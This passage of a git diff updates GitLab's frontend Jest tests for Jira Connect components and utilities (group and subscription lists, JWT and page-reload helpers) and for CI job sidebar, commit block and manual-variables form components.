+import { persistAlert, reloadPage } from '~/jira_connect/utils';
import { mockGroup1 } from '../mock_data';
jest.mock('~/jira_connect/utils');
@@ -14,36 +14,23 @@ describe('GroupsListItem', () => {
let wrapper;
const mockSubscriptionPath = 'subscriptionPath';
- const reloadSpy = jest.fn();
-
- global.AP = {
- navigator: {
- reload: reloadSpy,
- },
- };
-
const createComponent = ({ mountFn = shallowMount } = {}) => {
- wrapper = extendedWrapper(
- mountFn(GroupsListItem, {
- propsData: {
- group: mockGroup1,
- },
- provide: {
- subscriptionsPath: mockSubscriptionPath,
- },
- }),
- );
+ wrapper = mountFn(GroupsListItem, {
+ propsData: {
+ group: mockGroup1,
+ },
+ provide: {
+ subscriptionsPath: mockSubscriptionPath,
+ },
+ });
};
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
- const findGlAvatar = () => wrapper.find(GlAvatar);
- const findGroupName = () => wrapper.findByTestId('group-list-item-name');
- const findGroupDescription = () => wrapper.findByTestId('group-list-item-description');
- const findLinkButton = () => wrapper.find(GlButton);
+ const findGroupItemName = () => wrapper.findComponent(GroupItemName);
+ const findLinkButton = () => wrapper.findComponent(GlButton);
const clickLinkButton = () => findLinkButton().trigger('click');
describe('template', () => {
@@ -51,17 +38,9 @@ describe('GroupsListItem', () => {
createComponent();
});
- it('renders group avatar', () => {
- expect(findGlAvatar().exists()).toBe(true);
- expect(findGlAvatar().props('src')).toBe(mockGroup1.avatar_url);
- });
-
- it('renders group name', () => {
- expect(findGroupName().text()).toBe(mockGroup1.full_name);
- });
-
- it('renders group description', () => {
- expect(findGroupDescription().text()).toBe(mockGroup1.description);
+ it('renders GroupItemName', () => {
+ expect(findGroupItemName().exists()).toBe(true);
+ expect(findGroupItemName().props('group')).toBe(mockGroup1);
});
it('renders Link button', () => {
@@ -106,7 +85,7 @@ describe('GroupsListItem', () => {
await waitForPromises();
- expect(reloadSpy).toHaveBeenCalled();
+ expect(reloadPage).toHaveBeenCalled();
});
});
@@ -125,7 +104,7 @@ describe('GroupsListItem', () => {
await waitForPromises();
- expect(reloadSpy).not.toHaveBeenCalled();
+ expect(reloadPage).not.toHaveBeenCalled();
expect(wrapper.emitted('error')[0][0]).toBe(mockErrorMessage);
});
});
diff --git a/spec/frontend/jira_connect/components/groups_list_spec.js b/spec/frontend/jira_connect/components/groups_list_spec.js
index 5c645eccc0e..f354cfe6a9b 100644
--- a/spec/frontend/jira_connect/components/groups_list_spec.js
+++ b/spec/frontend/jira_connect/components/groups_list_spec.js
@@ -1,7 +1,7 @@
-import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
+import { GlAlert, GlLoadingIcon, GlSearchBoxByType } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
-
import { fetchGroups } from '~/jira_connect/api';
import GroupsList from '~/jira_connect/components/groups_list.vue';
import GroupsListItem from '~/jira_connect/components/groups_list_item.vue';
@@ -12,77 +12,100 @@ jest.mock('~/jira_connect/api', () => {
fetchGroups: jest.fn(),
};
});
+
+const mockGroupsPath = '/groups';
+
describe('GroupsList', () => {
let wrapper;
const mockEmptyResponse = { data: [] };
const createComponent = (options = {}) => {
- wrapper = shallowMount(GroupsList, {
- ...options,
- });
+ wrapper = extendedWrapper(
+ shallowMount(GroupsList, {
+ provide: {
+ groupsPath: mockGroupsPath,
+ },
+ ...options,
+ }),
+ );
};
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
- const findGlAlert = () => wrapper.find(GlAlert);
- const findGlLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const findGlAlert = () => wrapper.findComponent(GlAlert);
+ const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findAllItems = () => wrapper.findAll(GroupsListItem);
const findFirstItem = () => findAllItems().at(0);
const findSecondItem = () => findAllItems().at(1);
+ const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
+ const findGroupsList = () => wrapper.findByTestId('groups-list');
- describe('isLoading is true', () => {
+ describe('when groups are loading', () => {
it('renders loading icon', async () => {
- fetchGroups.mockResolvedValue(mockEmptyResponse);
+ fetchGroups.mockReturnValue(new Promise(() => {}));
createComponent();
- wrapper.setData({ isLoading: true });
await wrapper.vm.$nextTick();
expect(findGlLoadingIcon().exists()).toBe(true);
});
});
- describe('error fetching groups', () => {
+ describe('when groups fetch fails', () => {
it('renders error message', async () => {
fetchGroups.mockRejectedValue();
createComponent();
await waitForPromises();
+ expect(findGlLoadingIcon().exists()).toBe(false);
expect(findGlAlert().exists()).toBe(true);
expect(findGlAlert().text()).toBe('Failed to load namespaces. Please try again.');
});
});
- describe('no groups returned', () => {
+ describe('with no groups returned', () => {
it('renders empty state', async () => {
fetchGroups.mockResolvedValue(mockEmptyResponse);
createComponent();
await waitForPromises();
+ expect(findGlLoadingIcon().exists()).toBe(false);
expect(wrapper.text()).toContain('No available namespaces');
});
});
describe('with groups returned', () => {
beforeEach(async () => {
- fetchGroups.mockResolvedValue({ data: [mockGroup1, mockGroup2] });
+ fetchGroups.mockResolvedValue({
+ headers: { 'X-PAGE': 1, 'X-TOTAL': 2 },
+ data: [mockGroup1, mockGroup2],
+ });
createComponent();
await waitForPromises();
});
it('renders groups list', () => {
- expect(findAllItems().length).toBe(2);
+ expect(findAllItems()).toHaveLength(2);
expect(findFirstItem().props('group')).toBe(mockGroup1);
expect(findSecondItem().props('group')).toBe(mockGroup2);
});
+ it('sets GroupListItem `disabled` prop to `false`', () => {
+ findAllItems().wrappers.forEach((groupListItem) => {
+ expect(groupListItem.props('disabled')).toBe(false);
+ });
+ });
+
+ it('does not set opacity of the groups list', () => {
+ expect(findGroupsList().classes()).not.toContain('gl-opacity-5');
+ });
+
it('shows error message on $emit from item', async () => {
const errorMessage = 'error message';
@@ -93,5 +116,55 @@ describe('GroupsList', () => {
expect(findGlAlert().exists()).toBe(true);
expect(findGlAlert().text()).toContain(errorMessage);
});
+
+ describe('when searching groups', () => {
+ const mockSearchTeam = 'mock search term';
+
+ describe('while groups are loading', () => {
+ beforeEach(async () => {
+ fetchGroups.mockClear();
+ fetchGroups.mockReturnValue(new Promise(() => {}));
+
+ findSearchBox().vm.$emit('input', mockSearchTeam);
+ await wrapper.vm.$nextTick();
+ });
+
+ it('calls `fetchGroups` with search term', () => {
+ expect(fetchGroups).toHaveBeenCalledWith(mockGroupsPath, {
+ page: 1,
+ perPage: 10,
+ search: mockSearchTeam,
+ });
+ });
+
+ it('disables GroupListItems', async () => {
+ findAllItems().wrappers.forEach((groupListItem) => {
+ expect(groupListItem.props('disabled')).toBe(true);
+ });
+ });
+
+ it('sets opacity of the groups list', () => {
+ expect(findGroupsList().classes()).toContain('gl-opacity-5');
+ });
+
+ it('sets loading prop of ths search box', () => {
+ expect(findSearchBox().props('isLoading')).toBe(true);
+ });
+ });
+
+ describe('when group search finishes loading', () => {
+ beforeEach(async () => {
+ fetchGroups.mockResolvedValue({ data: [mockGroup1] });
+ findSearchBox().vm.$emit('input');
+
+ await waitForPromises();
+ });
+
+ it('renders new groups list', () => {
+ expect(findAllItems()).toHaveLength(1);
+ expect(findFirstItem().props('group')).toBe(mockGroup1);
+ });
+ });
+ });
});
});
diff --git a/spec/frontend/jira_connect/components/subscriptions_list_spec.js b/spec/frontend/jira_connect/components/subscriptions_list_spec.js
new file mode 100644
index 00000000000..ff86969367d
--- /dev/null
+++ b/spec/frontend/jira_connect/components/subscriptions_list_spec.js
@@ -0,0 +1,122 @@
+import { GlButton, GlEmptyState, GlTable } from '@gitlab/ui';
+import { mount, shallowMount } from '@vue/test-utils';
+import waitForPromises from 'helpers/wait_for_promises';
+
+import * as JiraConnectApi from '~/jira_connect/api';
+import SubscriptionsList from '~/jira_connect/components/subscriptions_list.vue';
+import createStore from '~/jira_connect/store';
+import { SET_ALERT } from '~/jira_connect/store/mutation_types';
+import { reloadPage } from '~/jira_connect/utils';
+import { mockSubscription } from '../mock_data';
+
+jest.mock('~/jira_connect/utils');
+
+describe('SubscriptionsList', () => {
+ let wrapper;
+ let store;
+
+ const createComponent = ({ mountFn = shallowMount, provide = {} } = {}) => {
+ store = createStore();
+
+ wrapper = mountFn(SubscriptionsList, {
+ provide,
+ store,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findGlEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findGlTable = () => wrapper.findComponent(GlTable);
+ const findUnlinkButton = () => findGlTable().findComponent(GlButton);
+ const clickUnlinkButton = () => findUnlinkButton().trigger('click');
+
+ describe('template', () => {
+ it('renders GlEmptyState when subscriptions is empty', () => {
+ createComponent();
+
+ expect(findGlEmptyState().exists()).toBe(true);
+ expect(findGlTable().exists()).toBe(false);
+ });
+
+ it('renders GlTable when subscriptions are present', () => {
+ createComponent({
+ provide: {
+ subscriptions: [mockSubscription],
+ },
+ });
+
+ expect(findGlEmptyState().exists()).toBe(false);
+ expect(findGlTable().exists()).toBe(true);
+ });
+ });
+
+ describe('on "Unlink" button click', () => {
+ let removeSubscriptionSpy;
+
+ beforeEach(() => {
+ createComponent({
+ mountFn: mount,
+ provide: {
+ subscriptions: [mockSubscription],
+ },
+ });
+ removeSubscriptionSpy = jest.spyOn(JiraConnectApi, 'removeSubscription').mockResolvedValue();
+ });
+
+ it('sets button to loading and sends request', async () => {
+ expect(findUnlinkButton().props('loading')).toBe(false);
+
+ clickUnlinkButton();
+
+ await wrapper.vm.$nextTick();
+
+ expect(findUnlinkButton().props('loading')).toBe(true);
+
+ await waitForPromises();
+
+ expect(removeSubscriptionSpy).toHaveBeenCalledWith(mockSubscription.unlink_path);
+ });
+
+ describe('when request is successful', () => {
+ it('reloads the page', async () => {
+ clickUnlinkButton();
+
+ await waitForPromises();
+
+ expect(reloadPage).toHaveBeenCalled();
+ });
+ });
+
+ describe('when request has errors', () => {
+ const mockErrorMessage = 'error message';
+ const mockError = { response: { data: { error: mockErrorMessage } } };
+
+ beforeEach(() => {
+ jest.spyOn(JiraConnectApi, 'removeSubscription').mockRejectedValue(mockError);
+ jest.spyOn(store, 'commit');
+ });
+
+ it('sets alert', async () => {
+ clickUnlinkButton();
+
+ await waitForPromises();
+
+ expect(reloadPage).not.toHaveBeenCalled();
+ expect(store.commit.mock.calls).toEqual(
+ expect.arrayContaining([
+ [
+ SET_ALERT,
+ {
+ message: mockErrorMessage,
+ variant: 'danger',
+ },
+ ],
+ ]),
+ );
+ });
+ });
+ });
+});
diff --git a/spec/frontend/jira_connect/index_spec.js b/spec/frontend/jira_connect/index_spec.js
index eb54fe6476f..0161cfa0273 100644
--- a/spec/frontend/jira_connect/index_spec.js
+++ b/spec/frontend/jira_connect/index_spec.js
@@ -1,27 +1,14 @@
-import waitForPromises from 'helpers/wait_for_promises';
import { initJiraConnect } from '~/jira_connect';
-import { removeSubscription } from '~/jira_connect/api';
-jest.mock('~/jira_connect/api', () => ({
- removeSubscription: jest.fn().mockResolvedValue(),
+jest.mock('~/jira_connect/utils', () => ({
getLocation: jest.fn().mockResolvedValue('test/location'),
}));
describe('initJiraConnect', () => {
- window.AP = {
- navigator: {
- reload: jest.fn(),
- },
- };
-
beforeEach(async () => {
setFixtures(`
<a class="js-jira-connect-sign-in" href="https://gitlab.com">Sign In</a>
<a class="js-jira-connect-sign-in" href="https://gitlab.com">Another Sign In</a>
-
- <a href="https://gitlab.com/sub1" class="js-jira-connect-remove-subscription">Remove</a>
- <a href="https://gitlab.com/sub2" class="js-jira-connect-remove-subscription">Remove</a>
- <a href="https://gitlab.com/sub3" class="js-jira-connect-remove-subscription">Remove</a>
`);
await initJiraConnect();
@@ -34,23 +21,4 @@ describe('initJiraConnect', () => {
});
});
});
-
- describe('`remove subscription` buttons', () => {
- describe('on click', () => {
- it('calls `removeSubscription`', () => {
- Array.from(document.querySelectorAll('.js-jira-connect-remove-subscription')).forEach(
- (removeSubscriptionButton) => {
- removeSubscriptionButton.dispatchEvent(new Event('click'));
-
- waitForPromises();
-
- expect(removeSubscription).toHaveBeenCalledWith(removeSubscriptionButton.href);
- expect(removeSubscription).toHaveBeenCalledTimes(1);
-
- removeSubscription.mockClear();
- },
- );
- });
- });
- });
});
diff --git a/spec/frontend/jira_connect/mock_data.js b/spec/frontend/jira_connect/mock_data.js
index 22255fabc3d..5247a3dc522 100644
--- a/spec/frontend/jira_connect/mock_data.js
+++ b/spec/frontend/jira_connect/mock_data.js
@@ -15,3 +15,9 @@ export const mockGroup2 = {
full_path: 'gitlab-com',
description: 'For GitLab company related projects',
};
+
+export const mockSubscription = {
+ group: mockGroup1,
+ created_at: '2021-04-14T08:52:23.115Z',
+ unlink_path: '/-/jira_connect/subscriptions/1',
+};
diff --git a/spec/frontend/jira_connect/utils_spec.js b/spec/frontend/jira_connect/utils_spec.js
index 5310bce384b..7eae870478d 100644
--- a/spec/frontend/jira_connect/utils_spec.js
+++ b/spec/frontend/jira_connect/utils_spec.js
@@ -1,11 +1,19 @@
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
+import { useMockLocationHelper } from 'helpers/mock_window_location_helper';
import { ALERT_LOCALSTORAGE_KEY } from '~/jira_connect/constants';
-import { persistAlert, retrieveAlert } from '~/jira_connect/utils';
-
-useLocalStorageSpy();
+import {
+ persistAlert,
+ retrieveAlert,
+ getJwt,
+ getLocation,
+ reloadPage,
+ sizeToParent,
+} from '~/jira_connect/utils';
describe('JiraConnect utils', () => {
describe('alert utils', () => {
+ useLocalStorageSpy();
+
it.each`
arg | expectedRetrievedValue
${{ title: 'error' }} | ${{ title: 'error' }}
@@ -29,4 +37,104 @@ describe('JiraConnect utils', () => {
},
);
});
+
+ describe('AP object utils', () => {
+ afterEach(() => {
+ global.AP = null;
+ });
+
+ describe('getJwt', () => {
+ const mockJwt = 'jwt';
+ const getTokenSpy = jest.fn((callback) => callback(mockJwt));
+
+ it('resolves to the function call when AP.context.getToken is a function', async () => {
+ global.AP = {
+ context: {
+ getToken: getTokenSpy,
+ },
+ };
+
+ const jwt = await getJwt();
+
+ expect(getTokenSpy).toHaveBeenCalled();
+ expect(jwt).toBe(mockJwt);
+ });
+
+ it('resolves to undefined when AP.context.getToken is not a function', async () => {
+ const jwt = await getJwt();
+
+ expect(getTokenSpy).not.toHaveBeenCalled();
+ expect(jwt).toBeUndefined();
+ });
+ });
+
+ describe('getLocation', () => {
+ const mockLocation = 'test/location';
+ const getLocationSpy = jest.fn((callback) => callback(mockLocation));
+
+ it('resolves to the function call when AP.getLocation is a function', async () => {
+ global.AP = {
+ getLocation: getLocationSpy,
+ };
+
+ const location = await getLocation();
+
+ expect(getLocationSpy).toHaveBeenCalled();
+ expect(location).toBe(mockLocation);
+ });
+
+ it('resolves to undefined when AP.getLocation is not a function', async () => {
+ const location = await getLocation();
+
+ expect(getLocationSpy).not.toHaveBeenCalled();
+ expect(location).toBeUndefined();
+ });
+ });
+
+ describe('reloadPage', () => {
+ const reloadSpy = jest.fn();
+
+ useMockLocationHelper();
+
+ it('calls the function when AP.navigator.reload is a function', async () => {
+ global.AP = {
+ navigator: {
+ reload: reloadSpy,
+ },
+ };
+
+ await reloadPage();
+
+ expect(reloadSpy).toHaveBeenCalled();
+ expect(window.location.reload).not.toHaveBeenCalled();
+ });
+
+ it('calls window.location.reload when AP.navigator.reload is not a function', async () => {
+ await reloadPage();
+
+ expect(reloadSpy).not.toHaveBeenCalled();
+ expect(window.location.reload).toHaveBeenCalled();
+ });
+ });
+
+ describe('sizeToParent', () => {
+ const sizeToParentSpy = jest.fn();
+
+ it('calls the function when AP.sizeToParent is a function', async () => {
+ global.AP = {
+ sizeToParent: sizeToParentSpy,
+ };
+
+ await sizeToParent();
+
+ expect(sizeToParentSpy).toHaveBeenCalled();
+ });
+
+ it('does nothing when AP.navigator.reload is not a function', async () => {
+ await sizeToParent();
+
+ expect(sizeToParentSpy).not.toHaveBeenCalled();
+ });
+ });
+ });
});
diff --git a/spec/frontend/jobs/components/commit_block_spec.js b/spec/frontend/jobs/components/commit_block_spec.js
index 13261317b48..8a6d48cecb8 100644
--- a/spec/frontend/jobs/components/commit_block_spec.js
+++ b/spec/frontend/jobs/components/commit_block_spec.js
@@ -1,89 +1,70 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import component from '~/jobs/components/commit_block.vue';
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import CommitBlock from '~/jobs/components/commit_block.vue';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
describe('Commit block', () => {
- const Component = Vue.extend(component);
- let vm;
+ let wrapper;
- const props = {
- commit: {
- short_id: '1f0fb84f',
- id: '1f0fb84fb6770d74d97eee58118fd3909cd4f48c',
- commit_path: 'commit/1f0fb84fb6770d74d97eee58118fd3909cd4f48c',
- title: 'Update README.md',
- },
- mergeRequest: {
- iid: '!21244',
- path: 'merge_requests/21244',
- },
- isLastBlock: true,
+ const commit = {
+ short_id: '1f0fb84f',
+ id: '1f0fb84fb6770d74d97eee58118fd3909cd4f48c',
+ commit_path: 'commit/1f0fb84fb6770d74d97eee58118fd3909cd4f48c',
+ title: 'Update README.md',
+ };
+
+ const mergeRequest = {
+ iid: '!21244',
+ path: 'merge_requests/21244',
+ };
+
+ const findCommitSha = () => wrapper.findByTestId('commit-sha');
+ const findLinkSha = () => wrapper.findByTestId('link-commit');
+
+ const mountComponent = (props) => {
+ wrapper = extendedWrapper(
+ shallowMount(CommitBlock, {
+ propsData: {
+ commit,
+ ...props,
+ },
+ }),
+ );
};
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
- describe('pipeline short sha', () => {
+ describe('without merge request', () => {
beforeEach(() => {
- vm = mountComponent(Component, {
- ...props,
- });
+ mountComponent();
});
it('renders pipeline short sha link', () => {
- expect(vm.$el.querySelector('.js-commit-sha').getAttribute('href')).toEqual(
- props.commit.commit_path,
- );
-
- expect(vm.$el.querySelector('.js-commit-sha').textContent.trim()).toEqual(
- props.commit.short_id,
- );
+ expect(findCommitSha().attributes('href')).toBe(commit.commit_path);
+ expect(findCommitSha().text()).toBe(commit.short_id);
});
it('renders clipboard button', () => {
- expect(vm.$el.querySelector('button').getAttribute('data-clipboard-text')).toEqual(
- props.commit.id,
- );
+ expect(wrapper.findComponent(ClipboardButton).attributes('text')).toBe(commit.id);
});
- });
-
- describe('with merge request', () => {
- it('renders merge request link and reference', () => {
- vm = mountComponent(Component, {
- ...props,
- });
-
- expect(vm.$el.querySelector('.js-link-commit').getAttribute('href')).toEqual(
- props.mergeRequest.path,
- );
- expect(vm.$el.querySelector('.js-link-commit').textContent.trim()).toEqual(
- `!${props.mergeRequest.iid}`,
- );
+ it('renders git commit title', () => {
+ expect(wrapper.text()).toContain(commit.title);
});
- });
- describe('without merge request', () => {
it('does not render merge request', () => {
- const copyProps = { ...props };
- delete copyProps.mergeRequest;
-
- vm = mountComponent(Component, {
- ...copyProps,
- });
-
- expect(vm.$el.querySelector('.js-link-commit')).toBeNull();
+ expect(findLinkSha().exists()).toBe(false);
});
});
- describe('git commit title', () => {
- it('renders git commit title', () => {
- vm = mountComponent(Component, {
- ...props,
- });
+ describe('with merge request', () => {
+ it('renders merge request link and reference', () => {
+ mountComponent({ mergeRequest });
- expect(vm.$el.textContent).toContain(props.commit.title);
+ expect(findLinkSha().attributes('href')).toBe(mergeRequest.path);
+ expect(findLinkSha().text()).toBe(`!${mergeRequest.iid}`);
});
});
});
diff --git a/spec/frontend/jobs/components/job_sidebar_details_container_spec.js b/spec/frontend/jobs/components/job_sidebar_details_container_spec.js
index 2b56bd2d558..ad0368555fa 100644
--- a/spec/frontend/jobs/components/job_sidebar_details_container_spec.js
+++ b/spec/frontend/jobs/components/job_sidebar_details_container_spec.js
@@ -34,11 +34,22 @@ describe('Job Sidebar Details Container', () => {
});
describe('when no details are available', () => {
- it('should render an empty container', () => {
+ beforeEach(() => {
createWrapper();
+ });
+ it('should render an empty container', () => {
expect(wrapper.html()).toBe('');
});
+
+ it.each(['duration', 'erased_at', 'finished_at', 'queued', 'runner', 'coverage'])(
+ 'should not render %s details when missing',
+ async (detail) => {
+ await store.dispatch('receiveJobSuccess', { [detail]: undefined });
+
+ expect(findAllDetailsRow()).toHaveLength(0);
+ },
+ );
});
describe('when some of the details are available', () => {
@@ -49,7 +60,7 @@ describe('Job Sidebar Details Container', () => {
['erased_at', 'Erased: 3 weeks ago'],
['finished_at', 'Finished: 3 weeks ago'],
['queued', 'Queued: 9 seconds'],
- ['runner', 'Runner: local ci runner (#1)'],
+ ['runner', 'Runner: #1 (ABCDEFGH) local ci runner'],
['coverage', 'Coverage: 20%'],
])('uses %s to render job-%s', async (detail, value) => {
await store.dispatch('receiveJobSuccess', { [detail]: job[detail] });
diff --git a/spec/frontend/jobs/components/manual_variables_form_spec.js b/spec/frontend/jobs/components/manual_variables_form_spec.js
index 7172a319876..376a822dde5 100644
--- a/spec/frontend/jobs/components/manual_variables_form_spec.js
+++ b/spec/frontend/jobs/components/manual_variables_form_spec.js
@@ -1,11 +1,16 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import Vuex from 'vuex';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import Form from '~/jobs/components/manual_variables_form.vue';
const localVue = createLocalVue();
+Vue.use(Vuex);
+
describe('Manual Variables Form', () => {
let wrapper;
+ let store;
const requiredProps = {
action: {
@@ -16,88 +21,104 @@ describe('Manual Variables Form', () => {
variablesSettingsUrl: '/settings',
};
- const factory = (props = {}) => {
- wrapper = shallowMount(localVue.extend(Form), {
- propsData: props,
- localVue,
+ const createComponent = ({ props = {}, mountFn = shallowMount } = {}) => {
+ store = new Vuex.Store({
+ actions: {
+ triggerManualJob: jest.fn(),
+ },
});
+
+ wrapper = extendedWrapper(
+ mountFn(localVue.extend(Form), {
+ propsData: { ...requiredProps, ...props },
+ localVue,
+ store,
+ }),
+ );
};
- beforeEach(() => {
- factory(requiredProps);
- });
+ const findInputKey = () => wrapper.findComponent({ ref: 'inputKey' });
+ const findInputValue = () => wrapper.findComponent({ ref: 'inputSecretValue' });
- afterEach((done) => {
- // The component has a `nextTick` callback after some events so we need
- // to wait for those to finish before destroying.
- setImmediate(() => {
- wrapper.destroy();
- wrapper = null;
+ const findTriggerBtn = () => wrapper.findByTestId('trigger-manual-job-btn');
+ const findHelpText = () => wrapper.findByTestId('form-help-text');
+ const findDeleteVarBtn = () => wrapper.findByTestId('delete-variable-btn');
+ const findCiVariableKey = () => wrapper.findByTestId('ci-variable-key');
+ const findCiVariableValue = () => wrapper.findByTestId('ci-variable-value');
+ const findAllVariables = () => wrapper.findAllByTestId('ci-variable-row');
- done();
- });
+ afterEach(() => {
+ wrapper.destroy();
});
- it('renders empty form with correct placeholders', () => {
- expect(wrapper.find({ ref: 'inputKey' }).attributes('placeholder')).toBe('Input variable key');
- expect(wrapper.find({ ref: 'inputSecretValue' }).attributes('placeholder')).toBe(
- 'Input variable value',
- );
- });
+ describe('shallowMount', () => {
+ beforeEach(() => {
+ createComponent();
+ });
- it('renders help text with provided link', () => {
- expect(wrapper.find('p').text()).toBe(
- 'Specify variable values to be used in this run. The values specified in CI/CD settings will be used as default',
- );
+ it('renders empty form with correct placeholders', () => {
+ expect(findInputKey().attributes('placeholder')).toBe('Input variable key');
+ expect(findInputValue().attributes('placeholder')).toBe('Input variable value');
+ });
- expect(wrapper.find('a').attributes('href')).toBe(requiredProps.variablesSettingsUrl);
- });
+ it('renders help text with provided link', () => {
+ expect(findHelpText().text()).toBe(
+ 'Specify variable values to be used in this run. The values specified in CI/CD settings will be used as default',
+ );
- describe('when adding a new variable', () => {
- it('creates a new variable when user types a new key and resets the form', (done) => {
- wrapper.vm
- .$nextTick()
- .then(() => wrapper.find({ ref: 'inputKey' }).setValue('new key'))
- .then(() => {
- expect(wrapper.vm.variables.length).toBe(1);
- expect(wrapper.vm.variables[0].key).toBe('new key');
- expect(wrapper.find({ ref: 'inputKey' }).attributes('value')).toBe(undefined);
- })
- .then(done)
- .catch(done.fail);
+ expect(wrapper.find('a').attributes('href')).toBe(requiredProps.variablesSettingsUrl);
});
- it('creates a new variable when user types a new value and resets the form', (done) => {
- wrapper.vm
- .$nextTick()
- .then(() => wrapper.find({ ref: 'inputSecretValue' }).setValue('new value'))
- .then(() => {
- expect(wrapper.vm.variables.length).toBe(1);
- expect(wrapper.vm.variables[0].secret_value).toBe('new value');
- expect(wrapper.find({ ref: 'inputSecretValue' }).attributes('value')).toBe(undefined);
- })
- .then(done)
- .catch(done.fail);
+ describe('when adding a new variable', () => {
+ it('creates a new variable when user types a new key and resets the form', async () => {
+ await findInputKey().setValue('new key');
+
+ expect(findAllVariables()).toHaveLength(1);
+ expect(findCiVariableKey().element.value).toBe('new key');
+ expect(findInputKey().attributes('value')).toBe(undefined);
+ });
+
+ it('creates a new variable when user types a new value and resets the form', async () => {
+ await findInputValue().setValue('new value');
+
+ expect(findAllVariables()).toHaveLength(1);
+ expect(findCiVariableValue().element.value).toBe('new value');
+ expect(findInputValue().attributes('value')).toBe(undefined);
+ });
});
});
- describe('when deleting a variable', () => {
- beforeEach((done) => {
- wrapper.vm.variables = [
- {
- key: 'new key',
- secret_value: 'value',
- id: '1',
- },
- ];
-
- wrapper.vm.$nextTick(done);
+ describe('mount', () => {
+ beforeEach(() => {
+ createComponent({ mountFn: mount });
+ });
+
+ describe('when deleting a variable', () => {
+ it('removes the variable row', async () => {
+ await wrapper.setData({
+ variables: [
+ {
+ key: 'new key',
+ secret_value: 'value',
+ id: '1',
+ },
+ ],
+ });
+
+ findDeleteVarBtn().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findAllVariables()).toHaveLength(0);
+ });
});
- it('removes the variable row', () => {
- wrapper.find(GlButton).vm.$emit('click');
+ it('trigger button is disabled after trigger action', async () => {
+ expect(findTriggerBtn().props('disabled')).toBe(false);
+
+ await findTriggerBtn().trigger('click');
- expect(wrapper.vm.variables.length).toBe(0);
+ expect(findTriggerBtn().props('disabled')).toBe(true);
});
});
});
diff --git a/spec/frontend/jobs/components/sidebar_spec.js b/spec/frontend/jobs/components/sidebar_spec.js
index 5a2e699137d..500a1b48950 100644
--- a/spec/frontend/jobs/components/sidebar_spec.js
+++ b/spec/frontend/jobs/components/sidebar_spec.js
@@ -1,5 +1,6 @@
import { shallowMount } from '@vue/test-utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import ArtifactsBlock from '~/jobs/components/artifacts_block.vue';
import JobRetryForwardDeploymentModal from '~/jobs/components/job_retry_forward_deployment_modal.vue';
import JobRetryButton from '~/jobs/components/job_sidebar_retry_button.vue';
import JobsContainer from '~/jobs/components/jobs_container.vue';
@@ -14,6 +15,7 @@ describe('Sidebar details block', () => {
const forwardDeploymentFailure = 'forward_deployment_failure';
const findModal = () => wrapper.find(JobRetryForwardDeploymentModal);
+ const findArtifactsBlock = () => wrapper.findComponent(ArtifactsBlock);
const findCancelButton = () => wrapper.findByTestId('cancel-button');
const findNewIssueButton = () => wrapper.findByTestId('job-new-issue');
const findRetryButton = () => wrapper.find(JobRetryButton);
@@ -21,6 +23,9 @@ describe('Sidebar details block', () => {
const createWrapper = ({ props = {} } = {}) => {
store = createStore();
+
+ store.state.job = job;
+
wrapper = extendedWrapper(
shallowMount(Sidebar, {
...props,
@@ -164,4 +169,29 @@ describe('Sidebar details block', () => {
});
});
});
+
+ describe('artifacts', () => {
+ beforeEach(() => {
+ createWrapper();
+ });
+
+ it('artifacts are not shown if there are no properties other than locked', () => {
+ expect(findArtifactsBlock().exists()).toBe(false);
+ });
+
+ it('artifacts are shown if present', async () => {
+ store.state.job.artifact = {
+ download_path: '/root/ci-project/-/jobs/1960/artifacts/download',
+ browse_path: '/root/ci-project/-/jobs/1960/artifacts/browse',
+ keep_path: '/root/ci-project/-/jobs/1960/artifacts/keep',
+ expire_at: '2021-03-23T17:57:11.211Z',
+ expired: false,
+ locked: false,
+ };
+
+ await wrapper.vm.$nextTick();
+
+ expect(findArtifactsBlock().exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/jobs/components/stages_dropdown_spec.js b/spec/frontend/jobs/components/stages_dropdown_spec.js
index 72d5d0f9d44..b75d1707a8d 100644
--- a/spec/frontend/jobs/components/stages_dropdown_spec.js
+++ b/spec/frontend/jobs/components/stages_dropdown_spec.js
@@ -1,163 +1,134 @@
-import Vue from 'vue';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
import { trimText } from 'helpers/text_helper';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import component from '~/jobs/components/stages_dropdown.vue';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import StagesDropdown from '~/jobs/components/stages_dropdown.vue';
+import CiIcon from '~/vue_shared/components/ci_icon.vue';
+import {
+ mockPipelineWithoutMR,
+ mockPipelineWithAttachedMR,
+ mockPipelineDetached,
+} from '../mock_data';
describe('Stages Dropdown', () => {
- const Component = Vue.extend(component);
- let vm;
-
- const mockPipelineData = {
- id: 28029444,
- details: {
- status: {
- details_path: '/gitlab-org/gitlab-foss/pipelines/28029444',
- group: 'success',
- has_details: true,
- icon: 'status_success',
- label: 'passed',
- text: 'passed',
- tooltip: 'passed',
- },
- },
- path: 'pipeline/28029444',
- flags: {
- merge_request_pipeline: true,
- detached_merge_request_pipeline: false,
- },
- merge_request: {
- iid: 1234,
- path: '/root/detached-merge-request-pipelines/-/merge_requests/1',
- title: 'Update README.md',
- source_branch: 'feature-1234',
